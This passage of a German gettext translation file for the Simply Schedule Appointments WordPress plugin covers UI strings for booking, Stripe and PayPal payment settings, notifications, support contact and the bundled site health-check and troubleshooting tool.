languages/admin-app-translations.php:876 #: languages/admin-app-translations.php:1032 msgid "Send to" msgstr "Senden an" #: languages/admin-app-translations.php:874 #: languages/admin-app-translations.php:998 msgid "SMS" msgstr "SMS" #: languages/admin-app-translations.php:866 msgid "Edit notification" msgstr "Benachrichtigung bearbeiten" #: languages/admin-app-translations.php:865 msgid "Add a new notification" msgstr "Eine neue Benachrichtigung hinzufügen" #: languages/admin-app-translations.php:867 msgid "Edit notifications" msgstr "Benachrichtigungen bearbeiten" #: languages/admin-app-translations.php:859 msgid "There are no notifications sent for this appointment type" msgstr "Für diese Terminart werden keine Benachrichtigungen versendet" #: languages/admin-app-translations.php:858 msgid "There are no notifications." msgstr "Es gibt keine Benachrichtigungen." #: languages/admin-app-translations.php:857 msgid "These notifications are sent for this appointment type:" msgstr "Diese Benachrichtigungen werden für diese Terminart versendet:" #: includes/elementor/widgets/upcoming-appointments.php:277 #: languages/admin-app-translations.php:423 msgid "All" msgstr "Alle" #: admin-app/iframe-inner.php:82 includes/class-wp-admin.php:411 msgid "Please update your browser to something more modern. We recommend Firefox or Chrome." msgstr "Bitte aktualisiere deinen Browser auf etwas Moderneres. Wir empfehlen Firefox oder Chrome." #: booking-app-new/iframe-inner.php:432 booking-app/iframe-inner.php:354 #: includes/class-shortcodes.php:605 msgid "To book an appointment, please update your browser to something more modern. We recommend Firefox or Chrome." msgstr "Um einen Termin zu buchen, aktualisiere bitte deinen Browser auf etwas Moderneres. Wir empfehlen Firefox oder Chrome." #: admin-app/iframe-inner.php:81 booking-app-new/iframe-inner.php:431 #: booking-app/iframe-inner.php:353 includes/class-shortcodes.php:604 #: includes/class-wp-admin.php:410 msgid "Unsupported Browser" msgstr "Nicht unterstützter Browser" #: booking-app-new/iframe-inner.php:423 booking-app/iframe-inner.php:345 #: includes/class-shortcodes.php:596 msgid "To book an appointment, please make sure you enable JavaScript in your browser." msgstr "Um einen Termin zu buchen, stelle bitte sicher, dass JavaScript in deinem Browser aktiviert ist." #: languages/admin-app-translations.php:1831 #: languages/admin-app-translations.php:1937 #: languages/admin-app-translations.php:2203 msgid "Rescheduled" msgstr "Umgebucht" #: languages/admin-app-translations.php:1677 msgid "Opt in text is required" msgstr "Opt-in-Text ist erforderlich" #: languages/admin-app-translations.php:1613 msgid "saved" msgstr "gespeichert" #: languages/admin-app-translations.php:169 msgid "Don't add newly booked appointments to my Google calendar" msgstr "Keine neu gebuchten Termine zu meinem Google Kalender hinzufügen" #: languages/admin-app-translations.php:74 msgid "First things first - set up your first appointment type." msgstr "Das Wichtigste zuerst – richte deine erste Terminart ein." #: admin-app/iframe-inner.php:72 includes/class-wp-admin.php:401 msgid "Please make sure you enable JavaScript in your browser." msgstr "Bitte stelle sicher, dass JavaScript in deinem Browser aktiviert ist." #: admin-app/iframe-inner.php:71 booking-app-new/iframe-inner.php:422 #: booking-app/iframe-inner.php:344 includes/class-shortcodes.php:595 #: includes/class-wp-admin.php:400 msgid "Simply Schedule Appointments requires JavaScript" msgstr "Simply Schedule Appointments erfordert JavaScript" #. translators: %s: Recommended PHP version #: includes/lib/td-health-check/includes/class-health-check-site-status.php:497 msgid "Your version of PHP, %s is current and meets all requirements" msgstr "Deine Version von PHP, %s ist aktuell und erfüllt alle Anforderungen" #. translators: %s: Recommended PHP version #: includes/lib/td-health-check/includes/class-health-check-site-status.php:489 msgid "Your version of PHP, %s is current and meets all requirements. For even better performance, you can upgrade to PHP %s or higher." msgstr "Deine Version von PHP, %s ist aktuell und erfüllt alle Anforderungen. Für eine noch bessere Leistung kannst du auf PHP %s oder höher aktualisieren." #: languages/booking-app-new-translations.php:194 #: languages/booking-app-translations.php:153 msgid "Unable to process payment. Please try again." msgstr "Zahlung kann nicht verarbeitet werden. Bitte versuche es erneut." #: languages/booking-app-new-translations.php:192 #: languages/booking-app-translations.php:152 msgid "Payment Received:" msgstr "Zahlung erhalten:" #: languages/booking-app-new-translations.php:191 #: languages/booking-app-translations.php:151 msgid "Book" msgstr "Buchen" #: languages/booking-app-new-translations.php:183 #: languages/booking-app-new-translations.php:189 #: languages/booking-app-translations.php:143 #: languages/booking-app-translations.php:149 msgid "Confirm and Pay" msgstr "Bestätigen und bezahlen" #: languages/booking-app-new-translations.php:179 #: languages/booking-app-translations.php:139 msgid "Pay Later" msgstr "Später bezahlen" #: languages/booking-app-new-translations.php:178 #: languages/booking-app-translations.php:138 msgid "Refund Policy" msgstr "Rückgaberecht" #: languages/booking-app-new-translations.php:177 #: languages/booking-app-translations.php:137 msgid "Payment Method" msgstr "Zahlungsmethode" #: languages/booking-app-new-translations.php:138 #: languages/booking-app-translations.php:99 msgid "Connection lost. We're having trouble communicating" msgstr "Verbindung unterbrochen. Wir haben Probleme bei der Kommunikation" #: languages/booking-app-new-translations.php:137 #: languages/booking-app-translations.php:98 msgid "Sorry, we couldn't save your appointment" msgstr "Dein Termin konnte leider nicht gespeichert werden" #: languages/booking-app-new-translations.php:134 #: languages/booking-app-translations.php:96 msgid "Pick a new time" msgstr "Wähle eine neue Uhrzeit" #: languages/booking-app-new-translations.php:128 #: languages/booking-app-translations.php:90 msgid "A valid email address is required" msgstr "Eine gültige E-Mail-Adresse ist erforderlich" #: languages/booking-app-new-translations.php:120 #: languages/booking-app-translations.php:83 msgid "Uh oh." msgstr "Oh, oh." #: languages/booking-app-new-translations.php:58 #: languages/booking-app-translations.php:52 msgid "Booking your appointment" msgstr "Dein Termin buchen" #: languages/booking-app-new-translations.php:54 #: languages/booking-app-translations.php:48 msgid "Processing payment" msgstr "Zahlung verarbeiten" #: languages/admin-app-translations.php:1918 msgid "Exp." msgstr "Gültig bis" #: languages/admin-app-translations.php:1916 msgid "Test Mode" msgstr "Testmodus" #: languages/admin-app-translations.php:1912 msgid "Failed" msgstr "Fehlgeschlagen" #: languages/admin-app-translations.php:1911 msgid "Succeeded" msgstr "Erfolgreich" #: languages/admin-app-translations.php:1900 msgid "Payment Information" msgstr "Zahlungsinformation" #: languages/admin-app-translations.php:1899 msgid "Payment received" msgstr "Zahlung erhalten" #: languages/admin-app-translations.php:1839 msgid "Pending appointments are appointments that a customer started booking, but did not complete the booking process to confirm the appointment. Usually that means payment was required for the appointment, but was never completed." msgstr "Ausstehende Termine sind Termine, bei denen ein Kunde eine Buchung begonnen, aber nicht abgeschlossen hat. In der Regel bedeutet dies, dass eine Zahlung für den Termin erforderlich war, aber nie abgeschlossen wurde." #: includes/class-availability-model.php:648 #: languages/admin-app-translations.php:1838 msgid "Pending Appointments" msgstr "Ausstehende Termine" #: languages/admin-app-translations.php:1771 msgid "This will be shown to your customers when booking and included in their confirmation email message" msgstr "Dies wird deinen Kunden bei der Buchung angezeigt und ist in ihrer Bestätigungs-E-Mail enthalten" #: languages/admin-app-translations.php:1769 msgid "No payment required" msgstr "Keine Zahlung erforderlich" #: languages/admin-app-translations.php:1768 msgid "Optional: Customer may reserve an appointment time without payment but has the option to pay" msgstr "Optional: Der Kunde kann einen Termin ohne Bezahlung reservieren, hat aber die Option, zu bezahlen" #: languages/admin-app-translations.php:1767 msgid "Required: Customer must submit a valid payment to reserve an appointment time" msgstr "Erforderlich: Der Kunde muss eine gültige Zahlung leisten, um einen Termin zu reservieren" #: languages/admin-app-translations.php:1766 msgid "Is payment required to book an appointment?" msgstr "Ist eine Zahlung erforderlich, um einen Termin zu buchen?" #: languages/admin-app-translations.php:1764 msgid "You must specify at least one method to accept payments" msgstr "Du musst mindestens eine Methode zur Annahme von Zahlungen angeben" #: languages/admin-app-translations.php:1763 msgid "Payment Methods" msgstr "Zahlungsmethoden" #: languages/admin-app-translations.php:1762 msgid "Set up payments" msgstr "Zahlungen einrichten" #: languages/admin-app-translations.php:1761 msgid "You don't have any payment gateways set up." msgstr "Du hast keine Zahlungsschnittstellen eingerichtet." #: languages/admin-app-translations.php:1760 msgid "You must specify a currency to take payments" msgstr "Du musst eine Währung angeben, um Zahlungen entgegenzunehmen" #: languages/admin-app-translations.php:1759 msgid "Currency" msgstr "Währung" #: languages/admin-app-translations.php:1758 msgid "Display price" msgstr "Preis anzeigen" #: languages/admin-app-translations.php:1756 msgid "Price must be greater than: " msgstr "Der Preis muss größer sein als: " #: languages/admin-app-translations.php:1755 #: languages/booking-app-new-translations.php:175 #: languages/booking-app-translations.php:135 msgid "Price" msgstr "Preis" #: includes/class-block-booking.php:138 #: includes/elementor/widgets/booking.php:391 #: languages/admin-app-translations.php:1442 #: languages/admin-app-translations.php:1466 msgid "Monthly" msgstr "Monatlich" #: includes/class-block-booking.php:134 #: includes/elementor/widgets/booking.php:390 #: languages/admin-app-translations.php:1441 #: languages/admin-app-translations.php:1465 msgid "Weekly" msgstr "Wöchentlich" #: languages/admin-app-translations.php:1431 msgid "Slug is required for appointment types" msgstr "Titelform ist für Terminarten erforderlich" #: languages/admin-app-translations.php:1421 msgid "Appointment types must have names" msgstr "Terminarten müssen Namen haben" #: languages/admin-app-translations.php:851 msgid "Stripe is in test mode." msgstr "Stripe ist im Testmodus." #: languages/admin-app-translations.php:850 msgid "Stripe is not connected to your Stripe account" msgstr "Stripe ist nicht mit deinem Stripe-Konto verbunden" #: languages/admin-app-translations.php:826 msgid "The test secret key is required for test mode" msgstr "Für den Testmodus ist der geheime Testschlüssel erforderlich" #: languages/admin-app-translations.php:847 msgid "Test secret key" msgstr "Sicherheitsschlüssel prüfen" #: languages/admin-app-translations.php:821 msgid "The test publishable key is required for test mode" msgstr "Der öffentliche Testschlüssel wird für den Testmodus benötigt" #: languages/admin-app-translations.php:845 msgid "Test publishable key" msgstr "Öffentlichen Schlüssel testen" #: languages/admin-app-translations.php:844 msgid "Place the payment gateway in test mode using test API keys." msgstr "Versetze das Zahlungs-Gateway mit Hilfe der Test-API-Schlüssel in den Testmodus." #: languages/admin-app-translations.php:843 msgid "Enable test mode" msgstr "Testmodus aktivieren" #: languages/admin-app-translations.php:840 msgid "The webhook has been copied to your clipboard" msgstr "Der Webhook wurde in deine Zwischenablage kopiert" #: languages/admin-app-translations.php:839 msgid "your Stripe account Webhook settings" msgstr "Webhook-Einstellungen für dein Stripe-Konto" #: languages/admin-app-translations.php:838 msgid "You must add this URL to" msgstr "Du musst diese URL hinzufügen zu" #: languages/admin-app-translations.php:837 msgid "Stripe Webhook URL" msgstr "Stripe-Webhook-URL" #: languages/admin-app-translations.php:812 msgid "A secret key is required" msgstr "Ein Sicherheitsschlüssel ist erforderlich" #: languages/admin-app-translations.php:835 msgid "Secret key" msgstr "Sicherheitsschlüssel" #: languages/admin-app-translations.php:834 #: languages/admin-app-translations.php:836 #: languages/admin-app-translations.php:846 #: languages/admin-app-translations.php:848 msgid "Get your API keys from your Stripe account." msgstr "Deine API-Schlüssel aus deinem Stripe-Konto holen." #: languages/admin-app-translations.php:807 msgid "A publishable key is required" msgstr "Ein öffentlicher Schlüssel ist erforderlich" #: languages/admin-app-translations.php:833 msgid "Publishable key" msgstr "Öffentlicher Schlüssel" #: languages/admin-app-translations.php:793 msgid "PayPal is in sandbox mode." msgstr "PayPal befindet sich im Sandbox-Modus." #: languages/admin-app-translations.php:792 msgid "PayPal is not connected to your PayPal account" msgstr "PayPal ist nicht mit deinem PayPal-Konto verbunden" #: languages/admin-app-translations.php:791 msgid "Optionally enable Payment Data Transfer (Profile > Profile and Settings > My Selling Tools > Website Preferences) and then copy your identity token here. This will allow payments to be verified without the need for PayPal IPN." msgstr "Aktiviere optional den Zahlungsdatentransfer (Profil > Profil und Einstellungen > Meine Verkaufswerkzeuge > Website-Einstellungen) und kopiere dann dein Identitäts-Token hierher. Dadurch können Zahlungen überprüft werden, ohne dass eine PayPal-IPN erforderlich ist." #: languages/admin-app-translations.php:790 msgid "PayPal identity token" msgstr "PayPal-Identitäts-Token" #: languages/admin-app-translations.php:789 msgid "Sign up for a developer account." msgstr "Eröffne ein Entwicklerkonto." #: languages/admin-app-translations.php:788 msgid "PayPal sandbox can be used to test payments." msgstr "PayPal-Sandbox kann zum Testen von Zahlungen verwendet werden." #: languages/admin-app-translations.php:787 msgid "Enable PayPal sandbox" msgstr "PayPal-Sandbox aktivieren" #: languages/admin-app-translations.php:786 msgid "A valid email address is required." msgstr "Eine gültige E-Mail-Adresse ist erforderlich." #: languages/admin-app-translations.php:785 msgid "Please enter your PayPal email address; this is needed in order to take payment." msgstr "Bitte gib deine PayPal-E-Mail-Adresse ein; diese wird benötigt, um die Zahlung entgegenzunehmen." #: languages/admin-app-translations.php:784 msgid "PayPal email address" msgstr "PayPal-E-Mail-Adresse" #: languages/admin-app-translations.php:781 msgid "Default currency" msgstr "Standardwährung" #: languages/admin-app-translations.php:774 msgid "Statement Descriptor" msgstr "Zahlungsbeschreibung" #: languages/admin-app-translations.php:773 msgid "This controls the description which your customer sees during checkout." msgstr "Dies legt die Beschreibung fest, die dein Kunde beim Checkout sieht." #: languages/admin-app-translations.php:771 msgid "The display title is required" msgstr "Der Titel ist erforderlich" #: languages/admin-app-translations.php:770 msgid "This controls the title which your customer sees during checkout." msgstr "Dies legt den Titel fest, den den Kunde während der Kaufabwicklung sieht." #: languages/admin-app-translations.php:769 msgid "Display title" msgstr "Anzuzeigender Titel" #: languages/admin-app-translations.php:768 msgid "Optional settings to fine-tune the way this payment gateway works" msgstr "Optionale Einstellungen zur Feinabstimmung der Funktionsweise dieses Zahlungs-Gateways" #: languages/admin-app-translations.php:767 msgid "Advanced Settings" msgstr "Erweiterte Einstellungen" #: languages/admin-app-translations.php:766 msgid "The required settings for this payment gateway" msgstr "Die erforderlichen Einstellungen für dieses Zahlungs-Gateway" #: languages/admin-app-translations.php:765 msgid "Basic Settings" msgstr "Grundeinstellungen" #: languages/admin-app-translations.php:764 msgid "Return to Payments" msgstr "Zurück zu Zahlungen" #: languages/admin-app-translations.php:156 msgid "Take payments online at the time of booking" msgstr "Zahlungen zum Zeitpunkt der Buchung online abwickeln" #: languages/admin-app-translations.php:155 #: languages/admin-app-translations.php:763 msgid "Payments" msgstr "Zahlungen" #: languages/admin-app-translations.php:73 msgid "More info" msgstr "Weitere Informationen" #: languages/admin-app-translations.php:70 msgid "Unable to delete appointment type" msgstr "Terminart kann nicht gelöscht werden" #: languages/admin-app-translations.php:69 msgid "We were unable to save your changes" msgstr "Wir konnten deine Änderungen nicht speichern" #: languages/admin-app-translations.php:29 #: languages/booking-app-new-translations.php:136 #: languages/booking-app-translations.php:97 msgid "Retry" msgstr "Erneut versuchen" #: languages/admin-app-translations.php:1424 msgid "Changes will be applied to the following appointment types: " msgstr "Änderungen werden auf die folgenden Terminarten angewendet: " #: languages/admin-app-translations.php:1423 msgid "Shortcode copied to clipboard" msgstr "Shortcode in die Zwischenablage kopiert" #: languages/admin-app-translations.php:1887 msgid "We weren't able to get that appointment. Try refreshing the page." msgstr "Wir konnten diesen Termin nicht finden. Aktualisiere die Seite." #: languages/admin-app-translations.php:1886 msgid "Unable to get appointment" msgstr "Termin kann nicht gefunden werden" #: languages/admin-app-translations.php:1885 msgid "We weren't able to find that appointment on the books." msgstr "Wir konnten diesen Termin in den Buchungen nicht finden." #: languages/admin-app-translations.php:1884 msgid "Appointment not found" msgstr "Termin nicht gefunden" #: languages/admin-app-translations.php:1883 msgid "Last modified" msgstr "Zuletzt geändert" #: languages/admin-app-translations.php:1880 #: languages/admin-app-translations.php:1945 #: languages/admin-app-translations.php:2211 msgid "Created" msgstr "Erstellt" #: languages/admin-app-translations.php:1876 msgid "View all appointments" msgstr "Alle Termine anzeigen" #: languages/admin-app-translations.php:1875 msgid "Appointment Details" msgstr "Termindetails" #: languages/admin-app-translations.php:1874 msgid "View appointment details" msgstr "Termindetails anzeigen" #: languages/admin-app-translations.php:1873 msgid "Getting your appointment details" msgstr "Termindetails laden" #: languages/admin-app-translations.php:1687 msgid "Connect Google Calendar" msgstr "Google Kalender verbinden" #: languages/admin-app-translations.php:1682 msgid "Connect Mailchimp" msgstr "MailChimp verbinden" #: languages/admin-app-translations.php:2157 msgid "Show debugging info" msgstr "Debugging-Informationen anzeigen" #: languages/admin-app-translations.php:2155 msgid "Something stopped us from being able to send your message, but never fear. You can simply email us at support@ssaplugin.com for assistance. Include the debugging information on this page to help us help you as quickly as possible." msgstr "Etwas hat das Versenden deiner Nachricht verhindert – aber keine Angst. Um Hilfe zu erhalten kannst du uns einfach eine E-Mail an support@ssaplugin.com senden. Füge die Debugging-Informationen auf dieser Seite ein, damit wir dir so schnell wie möglich helfen können." #: languages/admin-app-translations.php:2149 msgid "Success!" msgstr "Erfolgreich!" #: languages/admin-app-translations.php:2148 msgid "Sending your message" msgstr "Deine Nachricht wird gesendet" #: languages/admin-app-translations.php:2146 msgid "Checking this box sends us extra helpful information about your settings and appointment types. It *does not* include any private information or any information about your customers or your appointments." msgstr "Wenn du diese Box markierst, erhalten wir zusätzliche hilfreiche Informationen über deine Einstellungen und Terminarten. Dies umfsst *keine* privaten Informationen oder Informationen über deine Kunden oder deine Termine." #: languages/admin-app-translations.php:2145 msgid "Include information about settings and appointment types" msgstr "Informationen zu Einstellungen und Terminarten einbinden" #: languages/admin-app-translations.php:2143 msgid "Messages sent to the support team through this form will include the debugging information visible on this page." msgstr "Nachrichten, die über dieses Formular an das Support-Team gesendet werden, enthalten die auf dieser Seite sichtbaren Debugging-Informationen." #: languages/admin-app-translations.php:2141 msgid "Your email address" msgstr "Deine E-Mail-Adresse" #: languages/admin-app-translations.php:2140 msgid "Message to the support team" msgstr "Nachricht an das Support-Team" #: languages/admin-app-translations.php:2139 msgid "Send Message" msgstr "Nachricht senden" #: languages/admin-app-translations.php:2138 msgid "Contact Support Team" msgstr "Support-Team kontaktieren" #: languages/admin-app-translations.php:2137 msgid "Unknown" msgstr "Unbekannt" #: languages/admin-app-translations.php:2132 msgid "Web browser size" msgstr "Größe des Webbrowsers" #: languages/admin-app-translations.php:2131 msgid "Web browser" msgstr "Webbrowser" #: languages/admin-app-translations.php:2124 msgid "Screen resolution" msgstr "Bildschirmauflösung" #: languages/admin-app-translations.php:2118 msgid "Operating system" msgstr "Betriebssystem" #: languages/admin-app-translations.php:2127 msgid "SSL support" msgstr "SSL-Unterstützung" #: languages/admin-app-translations.php:2130 msgid "Utf8mb4 support" msgstr "Utf8mb4-Unterstützung" #: languages/admin-app-translations.php:2115 msgid "JSON extension" msgstr "JSON-Erweiterung" #: languages/admin-app-translations.php:2126 msgid "SQL server" msgstr "SQL-Server" #: languages/admin-app-translations.php:2133 msgid "WordPress version" msgstr "WordPress-Version" #: languages/admin-app-translations.php:2113 msgid "WordPress.org communication" msgstr "Kommunikation mit WordPress.org" #: languages/admin-app-translations.php:2119 msgid "PHP version" msgstr "PHP-Version" #: languages/admin-app-translations.php:2128 msgid "These details can help our support team troubleshoot any issues you might be having." msgstr "Diese Angaben können unserem Support-Team bei der Behebung von möglicherweise vorliegenden Problemen helfen." #: languages/admin-app-translations.php:2116 msgid "Loading your support details" msgstr "Deine Supportdaten werden geladen" #: languages/admin-app-translations.php:165 msgid "Show me how" msgstr "Zeig mir wie" #: includes/lib/td-health-check/pages/troubleshoot.php:29 msgid "Please note, that due to how Must Use plugins work, any such plugin will not be disabled for the troubleshooting session." msgstr "Bitte beachte, dass aufgrund der Funktionsweise von Must-Use-Plugins ein solches Plugin für die Problembehandlung nicht deaktiviert wird." #: includes/lib/td-health-check/pages/troubleshoot.php:25 msgid "A Troubleshooting Mode menu is added to your admin bar, which will allow you to enable plugins individually, switch back to your current theme, and disable Troubleshooting Mode." msgstr "Ein Menü für den Problembehandlungsmodus wird zu deiner Verwaltungsleiste hinzugefügt, mit dem du Plugins einzeln aktivieren, zu deinem aktuellen Theme zurückkehren und den Problembehandlungsmodus deaktivieren kannst." #: includes/lib/td-health-check/pages/troubleshoot.php:21 msgid "By enabling the Troubleshooting Mode, all plugins will appear inactive and your site will switch to the default theme only for you. All other users will see your site as usual." msgstr "Wenn du den Problembehebungsmodus aktivierst, erscheinen alle Plugins inaktiv und deine Website wechselt nur für dich zum Standard-Theme. Alle anderen Benutzer sehen deine Seite wie gewohnt." #: includes/lib/td-health-check/pages/troubleshoot.php:17 msgid "Understandably, you do not wish to do so as it may affect your site visitors, leaving them with lost functionality." msgstr "Es ist verständlich, dass du dies nicht tun willst, da es die Besucher deiner Website beeinträchtigen kann und sie mit entgangener Funktionalität zurücklassen kann." #: includes/lib/td-health-check/pages/troubleshoot.php:16 msgid "When troubleshooting issues on your site, you are likely to be told to disable all plugins and switch to the default theme." msgstr "Bei der Problembehandlung auf deiner Website wirst du wahrscheinlich aufgefordert, alle Plugins zu deaktivieren und zum Standard-Theme zu wechseln." #: includes/lib/td-health-check/pages/site-status.php:109 msgid "Loopback request" msgstr "Loopback-Anfrage" #: includes/lib/td-health-check/pages/site-status.php:102 msgid "Background updates" msgstr "Hintergrundaktualisierungen" #: includes/lib/td-health-check/pages/site-status.php:95 #: languages/admin-app-translations.php:2123 msgid "Scheduled events" msgstr "Geplante Anlässe" #: includes/lib/td-health-check/pages/site-status.php:88 msgid "Secure communication" msgstr "Sichere Verbindung" #: includes/lib/td-health-check/pages/site-status.php:81 #: languages/admin-app-translations.php:2114 msgid "HTTPS status" msgstr "HTTPS-Status" #: includes/lib/td-health-check/pages/site-status.php:67 msgid "MySQL utf8mb4 support" msgstr "MySQL-utf8mb4-Unterstützung" #: includes/lib/td-health-check/pages/site-status.php:60 msgid "JSON Extension" msgstr "JSON-Erweiterung" #: includes/lib/td-health-check/pages/site-status.php:52 msgid "Database Server version" msgstr "Datenbankserver-Version" #: includes/lib/td-health-check/pages/site-status.php:37 msgid "Theme Versions" msgstr "Theme-Versionen" #: includes/lib/td-health-check/pages/site-status.php:30 msgid "Plugin Versions" msgstr "Plugin-Versionen" #: includes/lib/td-health-check/pages/site-status.php:23 msgid "WordPress Version" msgstr "WordPress-Version" #: includes/lib/td-health-check/pages/site-status.php:16 msgid "The health check shows critical information about your WordPress configuration and items that require your attention." msgstr "Die Überprüfung des Website-Zustandes zeigt wichtige Informationen über deine WordPress-Konfiguration und die Elemente, die deine Aufmerksamkeit erfordern." #: includes/lib/td-health-check/pages/phpinfo.php:18 msgid "The phpinfo() function has been disabled by your host. Please contact the host if you need more information about your setup." msgstr "Die Funktion phpinfo() wurde von deinem Webhoster deaktiviert. Bitte kontaktiere den Hosting-Anbieter, wenn du weitere Informationen über dein Setup benötigst." #: includes/lib/td-health-check/pages/debug-data.php:219 msgid "Return to table of contents" msgstr "Zurück zum Inhaltsverzeichnis" #: includes/lib/td-health-check/pages/debug-data.php:144 msgid "Table Of Contents" msgstr "Inhaltsverzeichnis" #: includes/lib/td-health-check/pages/debug-data.php:86 #: includes/lib/td-health-check/pages/debug-data.php:138 msgid "Mark field for copying" msgstr "Feld zum Kopieren markieren" #: includes/lib/td-health-check/pages/debug-data.php:84 #: includes/lib/td-health-check/pages/debug-data.php:136 msgid "Some information may be filtered out from the list you are about to copy, this is information that may be considered private, and is not meant to be shared in a public forum." msgstr "Einige Informationen können aus der Liste, die du gerade kopierst, herausgefiltert werden. Diese Informationen sollten als privat betrachtet werden und sind nicht dazu gedacht, in einem öffentlichen Rahmen geteilt zu werden." #: includes/lib/td-health-check/pages/debug-data.php:26 msgid "Show copy and paste field in English" msgstr "Zeige das „Kopieren und einfügen“-Feld auf Englisch an" #: includes/lib/td-health-check/pages/debug-data.php:24 msgid "Show copy and paste field" msgstr "Zeige das „Kopieren und einfügen“-Feld an" #: includes/lib/td-health-check/pages/debug-data.php:21 msgid "The system information shown below can also be copied and pasted into support requests such as on the WordPress.org forums, or to your theme and plugin developers." msgstr "Die unten gezeigten Systeminformationen können auch in Supportanfragen wie z.B. in den WordPress.org-Foren oder bei deinen Theme- und Plugin-Entwicklern kopiert und eingefügt werden." #: includes/lib/td-health-check/modals/backup-warning.php:20 msgid "I understand" msgstr "Verstanden" #: includes/lib/td-health-check/modals/backup-warning.php:16 msgid "Additionally, since we really want to make this plugin as safe as possible, if you should have any problems with the troubleshooting mode, please create a new topic in the <a href=\"https://wordpress.org/support/plugin/health-check\">plugins support forum</a> with details about what theme and what plugins you’re using and the steps needed to reproduce the problem. This will help us to analyze and fix such problems." msgstr "Da wir dieses Plugin so sicher wie möglich machen wollen: Falls du Schwierigkeiten mit dem Problembehebungsmodus haben solltest, erstelle bitte ein neues Thema im <a href=\"https://wordpress.org/support/plugin/health-check\">Plugin-Support-Forum</a> mit Details zum Theme, denen von dir verwendeten Plugins und die Schritte, um das Problem zu reproduzieren. Dies wird uns helfen, entsprechende Probleme zu analysieren und zu beheben." #: includes/lib/td-health-check/modals/backup-warning.php:12 msgid "We therefore strongly recommend <a href=\"https://codex.wordpress.org/WordPress_Backups\">making a backup of your site</a> before you enable troubleshooting mode." msgstr "Wir empfehlen daher dringend, <a href=\"https://codex.wordpress.org/WordPress_Backups\">ein Backup deiner Website zu erstellen</a> bevor du den Problembehebungsmodus aktivierst." #: includes/lib/td-health-check/modals/backup-warning.php:8 msgid "Because of how Troubleshooting Mode functions, unforeseen conflicts with other plugins or themes may in rare cases occur, leading to unexpected behaviors." msgstr "Aufgrund der Funktionsweise des Problembehandlungsmodus können in seltenen Fällen unvorhergesehene Konflikte mit anderen Plugins oder Themes auftreten, die zu unerwarteten Verhaltensweisen führen." #: includes/lib/td-health-check/modals/backup-warning.php:4 msgid "Remember to keep backups" msgstr "Denke daran, Backups aufzubewahren" #: includes/lib/td-health-check/includes/class-health-check.php:297 msgid "Tools" msgstr "Werkzeuge" #: includes/lib/td-health-check/includes/class-health-check.php:296 msgid "PHP Information" msgstr "PHP-Informationen" #: includes/lib/td-health-check/includes/class-health-check.php:295 msgid "Troubleshooting" msgstr "Problembehandlung" #: includes/lib/td-health-check/includes/class-health-check.php:294 msgid "Debug Information" msgstr "Debug-Information" #: includes/lib/td-health-check/includes/class-health-check.php:293 msgid "Site Status" msgstr "Website-Status" #: includes/lib/td-health-check/includes/class-health-check.php:266 msgid "Troubleshoot" msgstr "Problembehandlung" #: includes/lib/td-health-check/includes/class-health-check.php:212 #: includes/lib/td-health-check/includes/class-health-check.php:229 #: includes/lib/td-health-check/includes/class-health-check.php:288 msgctxt "Menu, Section and Page Title" msgid "Health Check" msgstr "Website-Zustand" #: includes/lib/td-health-check/includes/class-health-check.php:195 msgid "Currently being tested..." msgstr "Zurzeit wird getestet ..." #: includes/lib/td-health-check/includes/class-health-check.php:194 msgid "Copied" msgstr "Kopiert" #: includes/lib/td-health-check/includes/class-health-check.php:193 msgid "Please wait..." msgstr "Bitte warten …" #: includes/lib/td-health-check/includes/class-health-check-wp-cron.php:51 msgid "No scheduled events exist on this site." msgstr "Es existieren keine geplanten Anlässe auf dieser Website." #: includes/lib/td-health-check/includes/class-health-check-troubleshoot.php:309 msgid "Enable Troubleshooting Mode" msgstr "Problembehandlungsmodus aktivieren" #: includes/lib/td-health-check/includes/class-health-check-troubleshoot.php:231 msgid "Return to the Dashboard" msgstr "Zurück zum Dashboard" #: includes/lib/td-health-check/includes/class-health-check-troubleshoot.php:227 msgid "You have successfully enabled Troubleshooting Mode, all plugins will appear inactive until you disable Troubleshooting Mode, or log out and back in again." msgstr "Wenn du den Problembehandlungsmodus erfolgreich aktiviert hast, erscheinen alle Plugins inaktiv, bis du den Problembehandlungsmodus deaktivierst oder dich aus- und wieder einloggst." #: includes/lib/td-health-check/includes/class-health-check-troubleshoot.php:204 msgid "We were unable to replace the plugin file required to enable the Troubleshooting Mode." msgstr "Wir konnten die für die Aktivierung des Problembehandlungsmodus erforderliche Plugin-Datei nicht ersetzen." #: includes/lib/td-health-check/includes/class-health-check-troubleshoot.php:160 msgid "We were unable to copy the plugin file required to enable the Troubleshooting Mode." msgstr "Wir konnten die für die Aktivierung des Problembehandlungsmodus erforderliche Plugin-Datei nicht kopieren." #: includes/lib/td-health-check/includes/class-health-check-troubleshoot.php:153 msgid "We could not remove the old must-use plugin." msgstr "Wir konnten das alte Must-Use-Plugin nicht entfernen." #: includes/lib/td-health-check/includes/class-health-check-troubleshoot.php:145 msgid "We were unable to create the mu-plugins directory." msgstr "Wir konnten das Verzeichnis mu-plugins nicht erstellen." #: includes/lib/td-health-check/includes/class-health-check-site-status.php:800 msgid "No scheduled events have been missed." msgstr "Es wurden keine geplanten Anlässe versäumt." #. translators: %s: The name of the failed cron event. #: includes/lib/td-health-check/includes/class-health-check-site-status.php:790 msgid "A scheduled event (%s) has failed to run. Your site still works, but this may indicate that notifications and synchronization with 3rd party services may not work as intended." msgstr "Ein geplanter Event (%s) konnte nicht ausgeführt werden. Deine Website funktioniert noch, aber dies kann ein Hinweis sein, dass Benachrichtigungen und die Synchronisation mit Diensten von Drittanbietern möglicherweise nicht wie vorgesehen funktionieren." #: includes/lib/td-health-check/includes/class-health-check-site-status.php:765 msgid "Your WordPress install cannot communicate securely with other services. Talk to your web host about OpenSSL support for PHP." msgstr "Deine WordPress-Installation kann nicht sicher mit anderen Diensten kommunizieren. Sprich mit deinem Webhoster über OpenSSL-Unterstützung für PHP." #: includes/lib/td-health-check/includes/class-health-check-site-status.php:757 msgid "Your WordPress install can communicate securely with other services." msgstr "Deine WordPress-Installation kann sicher mit anderen Diensten kommunizieren." #: includes/lib/td-health-check/includes/class-health-check-site-status.php:743 msgid "You are not using HTTPS to access this website." msgstr "Du verwendest nicht HTTPS, um auf diese Website zuzugreifen." #: includes/lib/td-health-check/includes/class-health-check-site-status.php:734 msgid "You are accessing this website using HTTPS." msgstr "Du greifst über HTTPS auf diese Website zu." #. translators: %s: URL to Settings > General to change options. #: includes/lib/td-health-check/includes/class-health-check-site-status.php:724 msgid "You are accessing this website using HTTPS, but your <a href=\"%s\">WordPress Address</a> is not set up to use HTTPS by default." msgstr "Du greifst über HTTPS auf diese Website zu, aber deine <a 